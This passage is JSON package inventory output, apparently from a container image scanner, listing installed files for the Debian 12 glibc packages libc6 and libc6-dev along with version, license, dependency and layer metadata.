"/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-DK-NO.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES-S.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-ES.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FI-SE-A.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FI-SE.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-FR.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-IS-FRISS.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-IT.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-PT.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-UK.so", "/usr/lib/x86_64-linux-gnu/gconv/EBCDIC-US.so", "/usr/lib/x86_64-linux-gnu/gconv/ECMA-CYRILLIC.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-CN.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JP-MS.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-JP.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-KR.so", "/usr/lib/x86_64-linux-gnu/gconv/EUC-TW.so", "/usr/lib/x86_64-linux-gnu/gconv/GB18030.so", "/usr/lib/x86_64-linux-gnu/gconv/GBBIG5.so", "/usr/lib/x86_64-linux-gnu/gconv/GBGBK.so", "/usr/lib/x86_64-linux-gnu/gconv/GBK.so", "/usr/lib/x86_64-linux-gnu/gconv/GEORGIAN-ACADEMY.so", "/usr/lib/x86_64-linux-gnu/gconv/GEORGIAN-PS.so", "/usr/lib/x86_64-linux-gnu/gconv/GOST_19768-74.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK-CCITT.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK7-OLD.so", "/usr/lib/x86_64-linux-gnu/gconv/GREEK7.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-GREEK8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-ROMAN8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-ROMAN9.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-THAI8.so", "/usr/lib/x86_64-linux-gnu/gconv/HP-TURKISH8.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM037.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM038.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1004.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1008.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1008_420.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1025.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1026.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1046.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1047.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1097.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1112.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1122.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1123.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1124.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1129.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1130.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1132.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1133.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1137.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1140.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1141.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1142.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1143.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1144.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1145.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1146.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1147.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1148.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1149.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1153.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1154.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1155.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1156.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1157.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1158.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1160.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1161.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1162.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1163.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1164.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1166.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1167.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM12712.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1364.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1371.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1388.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1390.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM1399.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM16804.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM256.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM273.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM274.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM275.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM277.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM278.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM280.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM281.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM284.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM285.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM290.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM297.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM420.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM423.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM424.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM437.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4517.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4899.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4909.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM4971.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM500.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM5347.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM803.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM850.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM851.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM852.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM855.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM856.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM857.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM858.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM860.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM861.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM862.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM863.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM864.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM865.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM866.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM866NAV.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM868.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM869.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM870.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM871.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM874.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM875.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM880.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM891.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM901.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM902.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM903.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9030.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM904.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM905.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9066.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM918.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM921.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM922.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM930.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM932.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM933.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM935.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM937.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM939.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM943.so", "/usr/lib/x86_64-linux-gnu/gconv/IBM9448.so", "/usr/lib/x86_64-linux-gnu/gconv/IEC_P27-1.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS-8.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS-CYRILLIC.so", "/usr/lib/x86_64-linux-gnu/gconv/INIS.so", "/usr/lib/x86_64-linux-gnu/gconv/ISIRI-3342.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-CN-EXT.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-CN.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-JP-3.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-JP.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-2022-KR.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-IR-197.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO-IR-209.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO646.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-1.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-10.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-11.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-13.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-14.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-15.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-16.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-2.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-3.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-4.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-5.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-6.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-7.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-8.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-9.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO8859-9E.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_10367-BOX.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_11548-1.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_2033.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5427-EXT.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5427.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_5428.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_6937-2.so", "/usr/lib/x86_64-linux-gnu/gconv/ISO_6937.so", "/usr/lib/x86_64-linux-gnu/gconv/JOHAB.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI-8.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-R.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-RU.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-T.so", "/usr/lib/x86_64-linux-gnu/gconv/KOI8-U.so", "/usr/lib/x86_64-linux-gnu/gconv/LATIN-GREEK-1.so", "/usr/lib/x86_64-linux-gnu/gconv/LATIN-GREEK.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-CENTRALEUROPE.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-IS.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-SAMI.so", "/usr/lib/x86_64-linux-gnu/gconv/MAC-UK.so", "/usr/lib/x86_64-linux-gnu/gconv/MACINTOSH.so", "/usr/lib/x86_64-linux-gnu/gconv/MIK.so", "/usr/lib/x86_64-linux-gnu/gconv/NATS-DANO.so", "/usr/lib/x86_64-linux-gnu/gconv/NATS-SEFI.so", "/usr/lib/x86_64-linux-gnu/gconv/PT154.so", "/usr/lib/x86_64-linux-gnu/gconv/RK1048.so", "/usr/lib/x86_64-linux-gnu/gconv/SAMI-WS2.so", "/usr/lib/x86_64-linux-gnu/gconv/SHIFT_JISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/SJIS.so", "/usr/lib/x86_64-linux-gnu/gconv/T.61.so", "/usr/lib/x86_64-linux-gnu/gconv/TCVN5712-1.so", "/usr/lib/x86_64-linux-gnu/gconv/TIS-620.so", "/usr/lib/x86_64-linux-gnu/gconv/TSCII.so", "/usr/lib/x86_64-linux-gnu/gconv/UHC.so", "/usr/lib/x86_64-linux-gnu/gconv/UNICODE.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-16.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-32.so", "/usr/lib/x86_64-linux-gnu/gconv/UTF-7.so", "/usr/lib/x86_64-linux-gnu/gconv/VISCII.so", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.d/gconv-modules-extra.conf", "/usr/lib/x86_64-linux-gnu/gconv/libCNS.so", "/usr/lib/x86_64-linux-gnu/gconv/libGB.so", "/usr/lib/x86_64-linux-gnu/gconv/libISOIR165.so", "/usr/lib/x86_64-linux-gnu/gconv/libJIS.so", "/usr/lib/x86_64-linux-gnu/gconv/libJISX0213.so", "/usr/lib/x86_64-linux-gnu/gconv/libKSC.so", "/usr/share/doc/libc6/NEWS.Debian.gz", "/usr/share/doc/libc6/NEWS.gz", "/usr/share/doc/libc6/README.Debian.gz", "/usr/share/doc/libc6/README.hesiod.gz", "/usr/share/doc/libc6/changelog.Debian.gz", "/usr/share/doc/libc6/changelog.gz", "/usr/share/doc/libc6/copyright", "/usr/share/lintian/overrides/libc6" ], "AnalyzedBy": "dpkg" }, { "ID": "libc6-dev@2.36-9+deb12u13", "Name": "libc6-dev", "Identifier": { "PURL": "pkg:deb/debian/libc6-dev@2.36-9%2Bdeb12u13?arch=amd64\u0026distro=debian-12.13", "UID": "bb6987894c1a2d00" }, "Version": "2.36", "Release": "9+deb12u13", "Arch": "amd64", "SrcName": "glibc", "SrcVersion": "2.36", "SrcRelease": "9+deb12u13", "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc-dev-bin@2.36-9+deb12u13", "libc6@2.36-9+deb12u13", "libcrypt-dev@1:4.4.33-2", "libnsl-dev@1.3.0-2", "linux-libc-dev@6.1.162-1", "rpcsvc-proto@1.4.3-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/include/aio.h", "/usr/include/aliases.h", "/usr/include/alloca.h", "/usr/include/ar.h", "/usr/include/argp.h", "/usr/include/argz.h", "/usr/include/arpa/ftp.h", "/usr/include/arpa/inet.h", "/usr/include/arpa/nameser.h", "/usr/include/arpa/nameser_compat.h", "/usr/include/arpa/telnet.h", "/usr/include/arpa/tftp.h", "/usr/include/assert.h", "/usr/include/byteswap.h", "/usr/include/complex.h", "/usr/include/cpio.h", "/usr/include/ctype.h", "/usr/include/dirent.h", "/usr/include/dlfcn.h", "/usr/include/elf.h", "/usr/include/endian.h", "/usr/include/envz.h", "/usr/include/err.h", "/usr/include/errno.h", "/usr/include/error.h", "/usr/include/execinfo.h", "/usr/include/fcntl.h", "/usr/include/features-time64.h", "/usr/include/features.h", "/usr/include/fenv.h", "/usr/include/finclude/x86_64-linux-gnu/math-vector-fortran.h", "/usr/include/fmtmsg.h", "/usr/include/fnmatch.h", "/usr/include/fstab.h", "/usr/include/fts.h", "/usr/include/ftw.h", "/usr/include/gconv.h", "/usr/include/getopt.h", "/usr/include/glob.h", "/usr/include/gnu-versions.h", "/usr/include/grp.h", "/usr/include/gshadow.h", "/usr/include/iconv.h", "/usr/include/ifaddrs.h", "/usr/include/inttypes.h", "/usr/include/langinfo.h", "/usr/include/lastlog.h", "/usr/include/libgen.h", "/usr/include/libintl.h", "/usr/include/limits.h", "/usr/include/link.h", "/usr/include/locale.h", "/usr/include/malloc.h", "/usr/include/math.h", "/usr/include/mcheck.h", "/usr/include/memory.h", "/usr/include/mntent.h", "/usr/include/monetary.h", "/usr/include/mqueue.h", "/usr/include/net/ethernet.h", "/usr/include/net/if.h", "/usr/include/net/if_arp.h", "/usr/include/net/if_packet.h", "/usr/include/net/if_ppp.h", "/usr/include/net/if_shaper.h", "/usr/include/net/if_slip.h", "/usr/include/net/ppp-comp.h", "/usr/include/net/ppp_defs.h", "/usr/include/net/route.h", "/usr/include/netash/ash.h", "/usr/include/netatalk/at.h", "/usr/include/netax25/ax25.h", "/usr/include/netdb.h", "/usr/include/neteconet/ec.h", "/usr/include/netinet/ether.h", "/usr/include/netinet/icmp6.h", "/usr/include/netinet/if_ether.h", "/usr/include/netinet/if_fddi.h", "/usr/include/netinet/if_tr.h", "/usr/include/netinet/igmp.h", "/usr/include/netinet/in.h", "/usr/include/netinet/in_systm.h", "/usr/include/netinet/ip.h", "/usr/include/netinet/ip6.h", "/usr/include/netinet/ip_icmp.h", "/usr/include/netinet/tcp.h", "/usr/include/netinet/udp.h", "/usr/include/netipx/ipx.h", "/usr/include/netiucv/iucv.h", "/usr/include/netpacket/packet.h", "/usr/include/netrom/netrom.h", "/usr/include/netrose/rose.h", "/usr/include/nfs/nfs.h", "/usr/include/nl_types.h", "/usr/include/nss.h", "/usr/include/obstack.h", "/usr/include/paths.h", "/usr/include/poll.h", "/usr/include/printf.h", "/usr/include/proc_service.h", "/usr/include/protocols/routed.h", "/usr/include/protocols/rwhod.h", "/usr/include/protocols/talkd.h", "/usr/include/protocols/timed.h", "/usr/include/pthread.h", "/usr/include/pty.h", "/usr/include/pwd.h", "/usr/include/re_comp.h", "/usr/include/regex.h", "/usr/include/regexp.h", "/usr/include/resolv.h", "/usr/include/rpc/netdb.h", "/usr/include/sched.h", "/usr/include/scsi/scsi.h", "/usr/include/scsi/scsi_ioctl.h", "/usr/include/scsi/sg.h", "/usr/include/search.h", "/usr/include/semaphore.h", "/usr/include/setjmp.h", "/usr/include/sgtty.h", "/usr/include/shadow.h", "/usr/include/signal.h", "/usr/include/spawn.h", "/usr/include/stab.h", "/usr/include/stdc-predef.h", "/usr/include/stdint.h", "/usr/include/stdio.h", "/usr/include/stdio_ext.h", "/usr/include/stdlib.h", "/usr/include/string.h", "/usr/include/strings.h", "/usr/include/syscall.h", "/usr/include/sysexits.h", "/usr/include/syslog.h", "/usr/include/tar.h", "/usr/include/termio.h", "/usr/include/termios.h", "/usr/include/tgmath.h", "/usr/include/thread_db.h", "/usr/include/threads.h", "/usr/include/time.h", "/usr/include/ttyent.h", "/usr/include/uchar.h", "/usr/include/ucontext.h", "/usr/include/ulimit.h", "/usr/include/unistd.h", "/usr/include/utime.h", "/usr/include/utmp.h", "/usr/include/utmpx.h", "/usr/include/values.h", "/usr/include/wait.h", "/usr/include/wchar.h", "/usr/include/wctype.h", "/usr/include/wordexp.h", "/usr/include/x86_64-linux-gnu/a.out.h", "/usr/include/x86_64-linux-gnu/bits/a.out.h", "/usr/include/x86_64-linux-gnu/bits/argp-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/atomic_wide_counter.h", "/usr/include/x86_64-linux-gnu/bits/auxv.h", "/usr/include/x86_64-linux-gnu/bits/byteswap.h", "/usr/include/x86_64-linux-gnu/bits/cmathcalls.h", "/usr/include/x86_64-linux-gnu/bits/confname.h", "/usr/include/x86_64-linux-gnu/bits/cpu-set.h", "/usr/include/x86_64-linux-gnu/bits/dirent.h", "/usr/include/x86_64-linux-gnu/bits/dirent_ext.h", "/usr/include/x86_64-linux-gnu/bits/dl_find_object.h", "/usr/include/x86_64-linux-gnu/bits/dlfcn.h", "/usr/include/x86_64-linux-gnu/bits/elfclass.h", "/usr/include/x86_64-linux-gnu/bits/endian.h", "/usr/include/x86_64-linux-gnu/bits/endianness.h", "/usr/include/x86_64-linux-gnu/bits/environments.h", "/usr/include/x86_64-linux-gnu/bits/epoll.h", "/usr/include/x86_64-linux-gnu/bits/err-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/errno.h", "/usr/include/x86_64-linux-gnu/bits/error-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/error.h", "/usr/include/x86_64-linux-gnu/bits/eventfd.h", "/usr/include/x86_64-linux-gnu/bits/fcntl-linux.h", "/usr/include/x86_64-linux-gnu/bits/fcntl.h", "/usr/include/x86_64-linux-gnu/bits/fcntl2.h", "/usr/include/x86_64-linux-gnu/bits/fenv.h", "/usr/include/x86_64-linux-gnu/bits/floatn-common.h", "/usr/include/x86_64-linux-gnu/bits/floatn.h", "/usr/include/x86_64-linux-gnu/bits/flt-eval-method.h", "/usr/include/x86_64-linux-gnu/bits/fp-fast.h", "/usr/include/x86_64-linux-gnu/bits/fp-logb.h", "/usr/include/x86_64-linux-gnu/bits/getopt_core.h", "/usr/include/x86_64-linux-gnu/bits/getopt_ext.h", "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h", "/usr/include/x86_64-linux-gnu/bits/hwcap.h", "/usr/include/x86_64-linux-gnu/bits/in.h", "/usr/include/x86_64-linux-gnu/bits/indirect-return.h", "/usr/include/x86_64-linux-gnu/bits/initspin.h", "/usr/include/x86_64-linux-gnu/bits/inotify.h", "/usr/include/x86_64-linux-gnu/bits/ioctl-types.h", "/usr/include/x86_64-linux-gnu/bits/ioctls.h", "/usr/include/x86_64-linux-gnu/bits/ipc-perm.h", "/usr/include/x86_64-linux-gnu/bits/ipc.h", "/usr/include/x86_64-linux-gnu/bits/ipctypes.h", "/usr/include/x86_64-linux-gnu/bits/iscanonical.h", "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h", "/usr/include/x86_64-linux-gnu/bits/libm-simd-decl-stubs.h", "/usr/include/x86_64-linux-gnu/bits/link.h", "/usr/include/x86_64-linux-gnu/bits/link_lavcurrent.h", "/usr/include/x86_64-linux-gnu/bits/local_lim.h", "/usr/include/x86_64-linux-gnu/bits/locale.h", "/usr/include/x86_64-linux-gnu/bits/long-double.h", "/usr/include/x86_64-linux-gnu/bits/math-vector.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls-narrow.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls.h", "/usr/include/x86_64-linux-gnu/bits/mathdef.h", "/usr/include/x86_64-linux-gnu/bits/mman-linux.h", "/usr/include/x86_64-linux-gnu/bits/mman-map-flags-generic.h", "/usr/include/x86_64-linux-gnu/bits/mman-shared.h", "/usr/include/x86_64-linux-gnu/bits/mman.h", "/usr/include/x86_64-linux-gnu/bits/mman_ext.h", "/usr/include/x86_64-linux-gnu/bits/monetary-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/mqueue.h", "/usr/include/x86_64-linux-gnu/bits/mqueue2.h", "/usr/include/x86_64-linux-gnu/bits/msq.h", "/usr/include/x86_64-linux-gnu/bits/netdb.h", "/usr/include/x86_64-linux-gnu/bits/param.h", "/usr/include/x86_64-linux-gnu/bits/platform/x86.h", "/usr/include/x86_64-linux-gnu/bits/poll.h", "/usr/include/x86_64-linux-gnu/bits/poll2.h", "/usr/include/x86_64-linux-gnu/bits/posix1_lim.h", "/usr/include/x86_64-linux-gnu/bits/posix2_lim.h", "/usr/include/x86_64-linux-gnu/bits/posix_opt.h", "/usr/include/x86_64-linux-gnu/bits/printf-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/procfs-extra.h", "/usr/include/x86_64-linux-gnu/bits/procfs-id.h", "/usr/include/x86_64-linux-gnu/bits/procfs-prregset.h", "/usr/include/x86_64-linux-gnu/bits/procfs.h", "/usr/include/x86_64-linux-gnu/bits/pthread_stack_min-dynamic.h", "/usr/include/x86_64-linux-gnu/bits/pthread_stack_min.h", "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h", "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h", "/usr/include/x86_64-linux-gnu/bits/ptrace-shared.h", "/usr/include/x86_64-linux-gnu/bits/resource.h", "/usr/include/x86_64-linux-gnu/bits/rseq.h", "/usr/include/x86_64-linux-gnu/bits/sched.h", "/usr/include/x86_64-linux-gnu/bits/select.h", "/usr/include/x86_64-linux-gnu/bits/select2.h", "/usr/include/x86_64-linux-gnu/bits/sem.h", "/usr/include/x86_64-linux-gnu/bits/semaphore.h", "/usr/include/x86_64-linux-gnu/bits/setjmp.h", "/usr/include/x86_64-linux-gnu/bits/setjmp2.h", "/usr/include/x86_64-linux-gnu/bits/shm.h", "/usr/include/x86_64-linux-gnu/bits/shmlba.h", "/usr/include/x86_64-linux-gnu/bits/sigaction.h", "/usr/include/x86_64-linux-gnu/bits/sigcontext.h", "/usr/include/x86_64-linux-gnu/bits/sigevent-consts.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-arch.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-consts-arch.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-consts.h", "/usr/include/x86_64-linux-gnu/bits/signal_ext.h", "/usr/include/x86_64-linux-gnu/bits/signalfd.h", "/usr/include/x86_64-linux-gnu/bits/signum-arch.h", "/usr/include/x86_64-linux-gnu/bits/signum-generic.h", "/usr/include/x86_64-linux-gnu/bits/sigstack.h", "/usr/include/x86_64-linux-gnu/bits/sigstksz.h", "/usr/include/x86_64-linux-gnu/bits/sigthread.h", "/usr/include/x86_64-linux-gnu/bits/sockaddr.h", "/usr/include/x86_64-linux-gnu/bits/socket-constants.h", "/usr/include/x86_64-linux-gnu/bits/socket.h", "/usr/include/x86_64-linux-gnu/bits/socket2.h", "/usr/include/x86_64-linux-gnu/bits/socket_type.h", "/usr/include/x86_64-linux-gnu/bits/ss_flags.h", "/usr/include/x86_64-linux-gnu/bits/stab.def", "/usr/include/x86_64-linux-gnu/bits/stat.h", "/usr/include/x86_64-linux-gnu/bits/statfs.h", "/usr/include/x86_64-linux-gnu/bits/statvfs.h", "/usr/include/x86_64-linux-gnu/bits/statx-generic.h", "/usr/include/x86_64-linux-gnu/bits/statx.h", "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h", "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h", "/usr/include/x86_64-linux-gnu/bits/stdio-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/stdio.h", "/usr/include/x86_64-linux-gnu/bits/stdio2-decl.h", "/usr/include/x86_64-linux-gnu/bits/stdio2.h", "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-bsearch.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/stdlib.h", "/usr/include/x86_64-linux-gnu/bits/string_fortified.h", "/usr/include/x86_64-linux-gnu/bits/strings_fortified.h", "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h", "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h", "/usr/include/x86_64-linux-gnu/bits/struct_stat.h", "/usr/include/x86_64-linux-gnu/bits/struct_stat_time64_helper.h", "/usr/include/x86_64-linux-gnu/bits/syscall.h", "/usr/include/x86_64-linux-gnu/bits/syslog-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/syslog-path.h", "/usr/include/x86_64-linux-gnu/bits/syslog.h", "/usr/include/x86_64-linux-gnu/bits/sysmacros.h", "/usr/include/x86_64-linux-gnu/bits/termios-baud.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_cc.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_cflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_iflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_lflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_oflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-misc.h", "/usr/include/x86_64-linux-gnu/bits/termios-struct.h", "/usr/include/x86_64-linux-gnu/bits/termios-tcflow.h", "/usr/include/x86_64-linux-gnu/bits/termios.h", "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h", "/usr/include/x86_64-linux-gnu/bits/time.h", "/usr/include/x86_64-linux-gnu/bits/time64.h", "/usr/include/x86_64-linux-gnu/bits/timerfd.h", "/usr/include/x86_64-linux-gnu/bits/timesize.h", 